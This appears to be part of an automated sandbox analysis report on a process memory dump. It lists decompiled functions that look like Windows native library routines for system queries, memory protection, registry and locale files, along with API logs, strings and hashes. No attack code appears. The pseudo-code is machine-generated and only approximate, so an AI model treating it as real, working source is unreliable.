0x6b5c5269
0x6b5c526e
0x6b5c527d
0x6b5c527e
0x6b5c5281
0x6b5c5282
0x6b5c5287
0x6b5c5288
0x6b5c528a
0x6b5c528f
0x6b5c5294
0x00000000
0x00000000
0x6b5c529a
0x6b5c529c
0x6b5c529e
0x6b5c529e
0x6b5c52a4
0x6b5c52b0
0x00000000
0x00000000
0x6b5c52ba
0x6b5c52bc
0x6b5c52bc
0x6b5c52d4
0x6b5c52d9
0x6b5c52dc
0x6b5c52e1
0x00000000
0x00000000
0x6b5c52e7
0x6b5c52f4
0x00000000
0x6b5c52f4
0x6b5c5270
0x00000000
0x6b5c5270
0x6b5c51fc
0x6b5c51fd
0x6b5c5202
0x6b5c5203
0x6b5c5205
0x6b5c520a
0x6b5c520f
0x00000000
0x00000000
0x6b5c521b
0x6b5c5226
0x6b5c522b
0x6b5c521d
0x6b5c521d
0x6b5c5222
0x6b5c5222
0x6b5c522d
0x00000000

APIs

ZwQuerySystemInformation.1105(0000005A,?,00000020,00000000,6B6205F0,00000080,6B5B5CA1,?,?,00000000,0000000E,00000000), ref: 6B5C5205

Part of subcall function 6B589860: LdrInitializeThunk.NTDLL(6B5D15BB,00000073,?,00000008,00000000,?,00000568), ref: 6B58986A

ZwQuerySystemInformationEx.1105(0000006B,?,00000004,00000000,00000000,?,6B6205F0,00000080,6B5B5CA1,?,?,00000000,0000000E,00000000), ref: 6B5C5249
RtlAllocateHeap.1105(?,00000008,?,0000006B,?,00000004,00000000,00000000,?,6B6205F0,00000080,6B5B5CA1,?,?,00000000,0000000E), ref: 6B5C5262
ZwQuerySystemInformationEx.1105(0000006B,?,00000004,00000000,?,?,?,0000006B,?,00000004,00000000,00000000,?,6B6205F0,00000080,6B5B5CA1), ref: 6B5C528A
RtlFindCharInUnicodeString.1105(00000001,?,6B521810,?,6B6205F0,00000080,6B5B5CA1,?,?,00000000,0000000E,00000000), ref: 6B5C5310
RtlEnterCriticalSection.1105(?,6B6205F0,00000080,6B5B5CA1,?,?,00000000,0000000E,00000000), ref: 6B5C5351
memcpy.1105(?,00000002,?,?,?,?,?,?,?,?,?,?,?,?,6B6205F0,00000080), ref: 6B5C537F

Strings

UEFI, xrefs: 6B5C521D
Legacy, xrefs: 6B5C5226

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InformationQuerySystem$AllocateCharCriticalEnterFindHeapInitializeSectionStringThunkUnicodememcpy
String ID: Legacy$UEFI
API String ID: 3324348579-634100481
Opcode ID: 7c218029df0ac50ac2b84c10dc50e593378afdd2162475b9b6dc261e3b1c9ed8
Instruction ID: bf07e01b3979335f0c835393876bab94b179c69d8b398ed8b37c018b10ca3413
Opcode Fuzzy Hash: 7c218029df0ac50ac2b84c10dc50e593378afdd2162475b9b6dc261e3b1c9ed8
Instruction Fuzzy Hash: 89517C71E006189FEB10CFE89891AEEB7F9FB48B04F14446DE619EB291DB78D901CB11

Uniqueness

Uniqueness Score: -1.00%

Function 6B5C3C93, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 141
nativeCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6B5C3C93(intOrPtr __ecx, wchar_t* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				wchar_t* _v32;
				intOrPtr _v36;
				short _v38;
				void* _v40;
				void* _v48;
				void* _v56;
				void* __ebp;
				wchar_t* _t40;
				long _t43;
				long _t67;
				signed int _t72;
				intOrPtr _t75;
				signed short _t76;
				short _t78;
				intOrPtr _t79;
				void* _t80;
				signed short* _t81;
				intOrPtr _t84;
				void* _t85;
				void* _t89;

				_v12 = _v12 & 0x00000000;
				_t81 = __edx;
				_t79 = __ecx;
				_v24 = __ecx;
				_t40 = wcschr(__edx, 0x3d);
				if(_t40 == 0) {
					L25:
					__eflags = 0;
					return 0;
				}
				 *_t40 = 0;
				_t72 =  *_t81 & 0x0000ffff;
				_t87 = _t72 - 0x53;
				if(_t72 != 0x53) {
					__eflags = _t72 - 0x4f;
					if(_t72 != 0x4f) {
						goto L25;
					}
					_t43 = wcstoul( &(_t40[0]),  &_v32, 0x10);
					_t85 = _t85 + 0xc;
					_v12 = _t43;
					__eflags = _t43;
					if(__eflags == 0) {
						goto L25;
					}
					_t67 = 1;
					L6:
					_t80 = E6B5C3E74(_t79, _t87);
					if(_t80 == 0) {
						goto L25;
					}
					_t75 = 0;
					_t84 = ( *(_t80 + 0x14) & 0x0000ffff) + 0x18 + _t80;
					_t89 = 0 -  *(_t80 + 6);
					while(1) {
						_v8 = _t75;
						if(_t89 >= 0) {
							break;
						}
						_t78 = 8;
						if( *((intOrPtr*)(_t84 + 0xc)) == 0 ||  *((intOrPtr*)(_t84 + 8)) == 0) {
							L23:
							_t75 = _t75 + 1;
							_t84 = _t84 + 0x28;
							_t89 = _t75 - ( *(_t80 + 6) & 0x0000ffff);
							continue;
						} else {
							if(_t67 != 0) {
								_t21 = _t75 + 1; // 0x2
								__eflags = _v12 - _t21;
								if(_v12 != _t21) {
									L21:
									__eflags = _t67;
									if(_t67 != 0) {
										goto L23;
									}
									L22:
									RtlFreeUnicodeString( &_v48);
									_t75 = _v8;
									goto L23;
								}
								L19:
								_v16 =  *((intOrPtr*)(_t84 + 8));
								_v20 =  *((intOrPtr*)(_t84 + 0xc)) + _v24;
								_push( &_v28);
								_push(_a4);
								_push( &_v16);
								_push( &_v20);
								_push(0xffffffff);
								E6B589A00();
								_push(_v28);
								_push(_v16);
								_push(_v20);
								E6B5D5720(0x55, 3, "Set 0x%X protection for %p section for %d bytes, old protection 0x%X\n", _a4);
								_t85 = _t85 + 0x1c;
								__eflags = _t67;
								if(_t67 != 0) {
									break;
								}
								_t75 = _v8;
								goto L21;
							}
							_t76 = 0;
							_v36 = _t84;
							_v38 = _t78;
							_v40 = 0;
							while( *((char*)((_t76 & 0x0000ffff) + _t84)) != 0) {
								_t76 = _t76 + 1;
								_v40 = _t76;
								if(_t76 < _t78) {
									continue;
								}
								break;
							}
							if(RtlAnsiStringToUnicodeString( &_v48,  &_v40, 1) < 0) {
								goto L25;
							}
							if(RtlCompareUnicodeString( &_v56,  &_v48, 1) == 0) {
								goto L19;
							}
							goto L22;
						}
					}
					return 1;
				}
				RtlInitUnicodeString( &_v56,  &(_t40[0]));
				_t67 = 0;
				goto L6;
			}

0x6b5c3c9b
0x6b5c3ca2
0x6b5c3ca4
0x6b5c3ca9
0x6b5c3cac
0x6b5c3cb5
0x6b5c3e08
0x6b5c3e08
0x00000000
0x6b5c3e08
0x6b5c3cbd
0x6b5c3cc0
0x6b5c3cc3
0x6b5c3cc6
0x6b5c3cd9
0x6b5c3cdc
0x00000000
0x00000000
0x6b5c3cec
0x6b5c3cf1
0x6b5c3cf4
0x6b5c3cf7
0x6b5c3cf9
0x00000000
0x00000000
0x6b5c3cff
0x6b5c3d01
0x6b5c3d08
0x6b5c3d0c
0x00000000
0x00000000
0x6b5c3d1b
0x6b5c3d1d
0x6b5c3d1f
0x6b5c3d23
0x6b5c3d23
0x6b5c3d26
0x00000000
0x00000000
0x6b5c3d32
0x6b5c3d33
0x6b5c3df5
0x6b5c3df9
0x6b5c3dfa
0x6b5c3dfd
0x00000000
0x6b5c3d43
0x6b5c3d45
0x6b5c3d94
0x6b5c3d97
0x6b5c3d9a
0x6b5c3de5
0x6b5c3de5
0x6b5c3de7
0x00000000
0x00000000
0x6b5c3de9
0x6b5c3ded
0x6b5c3df2
0x00000000
0x6b5c3df2
0x6b5c3d9c
0x6b5c3d9f
0x6b5c3da8
0x6b5c3dae
0x6b5c3daf
0x6b5c3db5
0x6b5c3db9
0x6b5c3dba
0x6b5c3dbc
0x6b5c3dc1
0x6b5c3dc4
0x6b5c3dc7
0x6b5c3dd6
0x6b5c3ddb
0x6b5c3dde
0x6b5c3de0
0x00000000
0x00000000
0x6b5c3de2
0x00000000
0x6b5c3de2
0x6b5c3d47
0x6b5c3d49
0x6b5c3d4c
0x6b5c3d50
0x6b5c3d54
0x6b5c3d5d
0x6b5c3d5f
0x6b5c3d66
0x00000000
0x00000000
0x00000000
0x6b5c3d66
0x6b5c3d79
0x00000000
0x00000000
0x6b5c3d90
0x00000000
0x00000000
0x00000000
0x6b5c3d92
0x6b5c3d33
0x00000000
0x6b5c3e04
0x6b5c3cd0
0x6b5c3cd5
0x00000000

APIs

wcschr.1105(?,0000003D,00000000,?), ref: 6B5C3CAC
RtlInitUnicodeString.1105(?,-00000002,00000000,?), ref: 6B5C3CD0
wcstoul.1105(-00000002,?,00000010,00000000,?), ref: 6B5C3CEC
RtlAnsiStringToUnicodeString.1105(?,?,00000001,00000000,?), ref: 6B5C3D72
RtlCompareUnicodeString.1105(?,?,00000001,?,?,00000001,00000000,?), ref: 6B5C3D89
ZwProtectVirtualMemory.1105(000000FF,?,?,00000000,?,00000000,?), ref: 6B5C3DBC
DbgPrintEx.1105(00000055,00000003,Set 0x%X protection for %p section for %d bytes, old protection 0x%X,00000000,?,?,?,000000FF,?,?,00000000,?,00000000,?), ref: 6B5C3DD6
RtlFreeUnicodeString.1105(?,00000000,?), ref: 6B5C3DED

Strings

Set 0x%X protection for %p section for %d bytes, old protection 0x%X, xrefs: 6B5C3DCD

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Unicode$AnsiCompareFreeInitMemoryPrintProtectVirtualwcschrwcstoul
String ID: Set 0x%X protection for %p section for %d bytes, old protection 0x%X
API String ID: 1186784509-1979073566
Opcode ID: e2466031f99eff7b4b21f43b815f991b446ac35b42218545989b21f9dbe422c6
Instruction ID: dfb1003ccefbf332a3fadfc17d0faf755f6894dd062c2e8105ad2a2b09ec4b37
Opcode Fuzzy Hash: e2466031f99eff7b4b21f43b815f991b446ac35b42218545989b21f9dbe422c6
Instruction Fuzzy Hash: 4041C472D0021DAAFB20DBE4D841BEFB7B9AF48350F5040AEE511A3140EB79DA45D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6B57F0BF, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 137
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E6B57F0BF(signed short* __ecx, signed short __edx, void* __eflags, void** _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				char _v44;
				intOrPtr _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v68;
				void* _v72;
				intOrPtr _v76;
				void* _t51;
				signed short _t82;
				short _t84;
				signed int _t91;
				void* _t97;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				void* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = L6B564120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t108 = E6B589830();
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v44);
						_push( &_v52);
						_push(_v68);
						_t108 = E6B589990();
						if(_t108 < 0) {
							L10:
							_push(_v68);
							E6B5895D0();
							goto L11;
						} else {
							_t109 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								_t97 = _t21;
								 *((intOrPtr*)(_t109 + 4)) = _v76;
								 *_t109 = 1;
								 *(_t109 + 0x10) = _t97;
								 *(_t109 + 0xe) = _t82;
								 *(_t109 + 8) = _v72;
								 *((intOrPtr*)(_t109 + 0x14)) = _v48;
								memcpy(_t97, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *(_t109 + 0x10) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v76);
										E6B5895D0();
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)( *(_t109 + 0x10) + _t100)) = _t84;
										 *((short*)( *(_t109 + 0x10) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x6b57f0d3
0x6b57f0d9
0x6b57f0e0
0x6b57f0e7
0x6b57f0f2
0x6b57f0f4
0x6b57f0f8
0x6b57f100
0x6b57f108
0x6b57f10d
0x6b57f115
0x6b57f116
0x6b57f11f
0x6b57f123
0x6b57f124
0x6b57f12c
0x6b57f130
0x6b57f144
0x6b57f14b
0x6b57f152
0x6b5bbab0
0x6b5bbab0
0x6b57f158
0x6b57f158
0x6b57f15a
0x6b57f160
0x6b57f165
0x6b57f166
0x6b57f16f
0x6b57f173
0x6b5bbaa7
0x6b5bbaa7
0x6b5bbaab
0x00000000
0x6b57f179
0x6b57f18d
0x6b57f191
0x6b5bbaa2
0x00000000
0x6b57f197
0x6b57f19b
0x6b57f19b
0x6b57f1a2
0x6b57f1a9
0x6b57f1af
0x6b57f1b2
0x6b57f1b6
0x6b57f1b9
0x6b57f1c4
0x6b57f1d8
0x6b57f1df
0x6b57f1e3
0x6b57f1eb
0x6b57f1ee
0x6b57f1f4
0x6b57f20f
0x6b5bbab7
0x6b5bbabb
0x6b5bbacc
0x6b5bbad1
0x6b57f215
0x6b57f218
0x6b57f226
0x6b57f22b
0x00000000
0x6b57f22b
0x6b57f1f6
0x6b57f1f6
0x6b57f1f9
0x6b57f1fb
0x6b57f1fb
0x6b57f1f4
0x6b57f191
0x6b57f173
0x6b57f152
0x6b57f203

APIs

ZwOpenFile.1105(?,?,?,00000021,00100020,?), ref: 6B57F134
RtlFreeHeap.1105(?,00000000,?,?,?,?,00000021,00100020,?), ref: 6B57F14B
ZwQueryVolumeInformationFile.1105(00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6B57F16A
RtlAllocateHeap.1105(?,00000000,?,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6B57F188
memcpy.1105(00000018,?,00000000,00000000,?,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021), ref: 6B57F1C4
ZwClose.1105(00000000,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6B5BBAAB
ZwClose.1105(?,?,?,?,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6B6379A0,6B6379A0), ref: 6B5BBABB
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6B5BBACC

Strings

@, xrefs: 6B57F124

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$CloseFileFree$AllocateInformationOpenQueryVolumememcpy
String ID: @
API String ID: 3376599671-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: a8552b479eb000237d595d2e62701681b98707d6f065bd3afef8ec7789fb5f3d
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 35518F71604710AFD320DF29C841AA7B7F8FF88754F00492EF99597660E7B8E905CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6B5576FE, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 116
nativeCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E6B5576FE(WCHAR* __ecx, unsigned int* __edx, short* _a4) {
				signed int _v12;
				char _v528;
				signed int _v532;
				intOrPtr _v536;
				WCHAR* _v540;
				char* _v544;
				void* _v548;
				signed int _v552;
				signed int _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				signed int _v568;
				char _v572;
				void* _v580;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t39;
				long _t56;
				unsigned int _t58;
				unsigned int* _t60;
				intOrPtr _t66;
				short* _t68;
				long _t69;
				signed int _t70;

				_t67 = __edx;
				_v12 =  *0x6b63d360 ^ _t70;
				_t60 = __edx;
				_v540 = __ecx;
				_t68 = _a4;
				if(__edx == 0 || __ecx == 0) {
					_t39 = 0xc000000d;
					goto L8;
				} else {
					_v532 = _v532 & 0x00000000;
					_v536 =  *((intOrPtr*)(__edx));
					RtlInitUnicodeString( &_v580, L"Latest");
					_v548 = 0x2000000;
					_v544 =  &_v528;
					_t69 = RtlAppendUnicodeToString( &_v548, L"\\Registry\\Machine\\Software\\Microsoft\\LanguageOverlay\\OverlayPackages");
					if(_t69 < 0) {
						L6:
						if(_v532 != 0) {
							 *0x6b526cb8(_v532);
						}
						_t39 = _t69;
						L8:
						return E6B58B640(_t39, _t60, _v12 ^ _t70, _t67, _t68, _t69);
					}
					_t69 = RtlAppendUnicodeToString( &_v548, "\\");
					if(_t69 < 0) {
						goto L6;
					}
					_t69 = RtlAppendUnicodeToString( &_v548, _v540);
					if(_t69 < 0) {
						goto L6;
					}
					_v572 = 0x18;
					_v564 =  &_v548;
					_v532 = 0;
					_v568 = 0;
					_v560 = 0x40;
					_v556 = 0;
					_v552 = 0;
					_t69 =  *0x6b526cd8( &_v532, 0x20019,  &_v572);
					if(_t69 >= 0) {
						_t67 =  &_v580;
						_t56 = E6B61F1B5(_v532,  &_v580,  &_v540, _t68, _t60);
						_t66 = _v536;
						_t69 = _t56;
						if(_t69 < 0) {
							L16:
							if(_t68 != 0 && _t66 >= 2) {
								 *_t68 = 0;
							}
							goto L6;
						}
						if(_v540 == 1) {
							_t58 =  *_t60;
							if(_t58 > _t66) {
								_t69 = 0xc0000023;
							} else {
								_t67 = 0;
								 *((short*)(_t68 + (_t58 >> 1) * 2 - 2)) = 0;
							}
							if(_t69 >= 0) {
								goto L6;
							} else {
								goto L16;
							}
						}
						_t69 = 0xc000015c;
						goto L16;
					}
					goto L6;
				}
			}

0x6b5576fe
0x6b557710
0x6b557715
0x6b557719
0x6b557720
0x6b557725
0x6b5a9609
0x00000000
0x6b557733
0x6b557735
0x6b55773c
0x6b55774e
0x6b55775a
0x6b557764
0x6b55777b
0x6b55777f
0x6b557811
0x6b557818
0x6b5a95fe
0x6b5a95fe
0x6b55781e
0x6b557820
0x6b557830
0x6b557830
0x6b557796
0x6b55779a
0x00000000
0x00000000
0x6b5577ae
0x6b5577b2
0x00000000
0x00000000
0x6b5577ba
0x6b5577c4
0x6b5577d2
0x6b5577e4
0x6b5577eb
0x6b5577f5
0x6b5577fb
0x6b557807
0x6b55780b
0x6b5a9598
0x6b5a959e
0x6b5a95a3
0x6b5a95a9
0x6b5a95ad
0x6b5a95dd
0x6b5a95df
0x6b5a95f0
0x6b5a95f0
0x00000000
0x6b5a95df
0x6b5a95b6
0x6b5a95bf
0x6b5a95c3
0x6b5a95d0
0x6b5a95c5
0x6b5a95c7
0x6b5a95c9
0x6b5a95c9
0x6b5a95d7
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5a95d7
0x6b5a95b8
0x00000000
0x6b5a95b8
0x00000000
0x6b55780b

APIs

RtlInitUnicodeString.1105(?,Latest,00000000,02BDFFFE,?), ref: 6B55774E
RtlAppendUnicodeToString.1105(02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6B557776

Part of subcall function 6B55A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6B55A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6B55A9E2

RtlAppendUnicodeToString.1105(02000000,6B525000,02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6B557791
RtlAppendUnicodeToString.1105(02000000,?,02000000,6B525000,02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6B5577A9
ZwOpenKey.1105(00000000,00020019,00000018,02000000,?,02000000,6B525000,02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6B557801

Strings

Latest, xrefs: 6B557748
@, xrefs: 6B5577EB
\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages, xrefs: 6B557770

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Append$InitOpenmemmove
String ID: @$Latest$\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages
API String ID: 1239783430-1383699509
Opcode ID: 527f52acbf557d3cf5b402ac885d805c513dafa94b5121b4b201768e5756322f
Instruction ID: e59f0955e68b2b0405e9d3f2131143f75e7c481dcde8e25197e98727709f2339
Opcode Fuzzy Hash: 527f52acbf557d3cf5b402ac885d805c513dafa94b5121b4b201768e5756322f
Instruction Fuzzy Hash: 12415D72D4123D9BEB21CB64CC99BDEB7B4AF45711F0145EAD808A7200DB789E84CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6B5F6369, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 113
nativefileCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E6B5F6369(char* __ecx, intOrPtr* __edx, void* __eflags, intOrPtr* _a4) {
				signed int _v12;
				short _v536;
				char _v540;
				char _v544;
				char _v548;
				intOrPtr _v556;
				char _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				char _v584;
				void* _v592;
				char _v600;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t33;
				char* _t50;
				intOrPtr* _t52;
				intOrPtr* _t63;
				signed int _t65;

				_v12 =  *0x6b63d360 ^ _t65;
				_t52 = _a4;
				_t63 = __edx;
				_t64 = __ecx;
				_t62 = 0x100;
				if(E6B5DCD55( &_v536, 0x100, L"\\SystemRoot\\Globalization\\") < 0) {
					L11:
					_t33 = 0xc0000001;
					L12:
					return E6B58B640(_t33, _t52, _v12 ^ _t65, _t62, _t63, _t64);
				}
				_t64 = 0x100;
				_t62 = 0x100;
				if(E6B5E83B1( &_v536, 0x100, __ecx) < 0) {
					goto L11;
				}
				_t62 = 0x100;
				if(E6B5E83B1( &_v536, 0x100, L".nlp") < 0) {
					goto L11;
				}
				RtlInitUnicodeString( &_v592,  &_v536);
				_v584 = 0x18;
				_push(0);
				_v580 = 0;
				_v576 =  &_v592;
				_push(1);
				_push( &_v600);
				_v572 = 0x40;
				_push( &_v584);
				_push(0x80100000);
				_v568 = 0;
				_push( &_v540);
				_v564 = 0;
				_t64 = E6B589830();
				if(_t64 >= 0) {
					_t62 =  &_v560;
					if(E6B5F60A2(_v540,  &_v560) < 0 || _v556 != 0) {
						_t64 = 0xc0000001;
					} else {
						_push(_v540);
						_push(0x8000000);
						_push(2);
						 *_t52 = _v560;
						_t52 = 0;
						_push(0);
						_push(0);
						_push(0xf0005);
						_push( &_v544);
						_t64 = E6B5899A0();
						if(_t64 >= 0) {
							_push(2);
							_push(0);
							_push(1);
							 *_t63 = 0;
							_push( &_v548);
							_push(0);
							_push(0);
							_push(0);
							_push(_t63);
							_push(0xffffffff);
							_push(_v544);
							_v548 = 0;
							_t50 = E6B589780();
							_push(_v544);
							_t64 = _t50;
							E6B5895D0();
						}
					}
					_push(_v540);
					E6B5895D0();
				}
				_t33 = _t64;
				goto L12;
			}

0x6b5f637b
0x6b5f637f
0x6b5f6384
0x6b5f6386
0x6b5f638d
0x6b5f639f
0x6b5f64e3
0x6b5f64e3
0x6b5f64e8
0x6b5f64f8
0x6b5f64f8
0x6b5f63a6
0x6b5f63b1
0x6b5f63ba
0x00000000
0x00000000
0x6b5f63c5
0x6b5f63d4
0x00000000
0x00000000
0x6b5f63e8
0x6b5f63ef
0x6b5f63f9
0x6b5f6400
0x6b5f6406
0x6b5f6412
0x6b5f6414
0x6b5f641b
0x6b5f6425
0x6b5f6426
0x6b5f6431
0x6b5f6437
0x6b5f6438
0x6b5f6443
0x6b5f6447
0x6b5f6453
0x6b5f6460
0x6b5f64cf
0x6b5f646b
0x6b5f646b
0x6b5f6477
0x6b5f647c
0x6b5f647e
0x6b5f6480
0x6b5f6482
0x6b5f6483
0x6b5f6484
0x6b5f648f
0x6b5f6495
0x6b5f6499
0x6b5f649b
0x6b5f649d
0x6b5f649e
0x6b5f64a6
0x6b5f64a8
0x6b5f64a9
0x6b5f64aa
0x6b5f64ab
0x6b5f64ac
0x6b5f64ad
0x6b5f64af
0x6b5f64b5
0x6b5f64bb
0x6b5f64c0
0x6b5f64c6
0x6b5f64c8
0x6b5f64c8
0x6b5f6499
0x6b5f64d4
0x6b5f64da
0x6b5f64da
0x6b5f64df
0x00000000

APIs

RtlInitUnicodeString.1105(?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6B5F63E8
ZwOpenFile.1105(?,80100000,00000018,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6B5F643E

Part of subcall function 6B5F60A2: ZwQueryInformationFile.1105(?,00000001,?,00000018,00000005,00000000,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000), ref: 6B5F60C4

ZwCreateSection.1105(?,000F0005,00000000,00000000,00000002,08000000,?,?,80100000,00000018,?,00000001,00000000,?,?,.nlp), ref: 6B5F6490

Part of subcall function 6B5899A0: LdrInitializeThunk.NTDLL(6B5D1A59,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6B5899AA

ZwMapViewOfSection.1105(?,000000FF,00000000,00000000,00000000,00000000,?,00000001,00000000,00000002,?,000F0005,00000000,00000000,00000002,08000000), ref: 6B5F64BB

Part of subcall function 6B589780: LdrInitializeThunk.NTDLL(6B5D1A79,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004), ref: 6B58978A

ZwClose.1105(?,?,000000FF,00000000,00000000,00000000,00000000,?,00000001,00000000,00000002,?,000F0005,00000000,00000000,00000002), ref: 6B5F64C8
ZwClose.1105(?,?,80100000,00000018,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6B5F64DA

Strings

\SystemRoot\Globalization\, xrefs: 6B5F6388
.nlp, xrefs: 6B5F63C0
@, xrefs: 6B5F641B

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseFileInitializeSectionThunk$CreateInformationInitOpenQueryStringUnicodeView
String ID: .nlp$@$\SystemRoot\Globalization\
API String ID: 4284092774-2934557456
Opcode ID: b863388b907141c66f41f1113cce7cdde1e51a8c96ad2305d0ee66b8bb29b3f4
Instruction ID: 4bc1a621e215fe2ce8fdf81ee8ab676216f3ce54f7101df28c4d2cc4cf4c49d9
Opcode Fuzzy Hash: b863388b907141c66f41f1113cce7cdde1e51a8c96ad2305d0ee66b8bb29b3f4
Instruction Fuzzy Hash: 74416171D4122D6BEB21AF24CC99FDAB77CEB54314F1001E6A909A7244DB789E85CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B5737EB, Relevance: 15.3, APIs: 10, Instructions: 269
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 86%

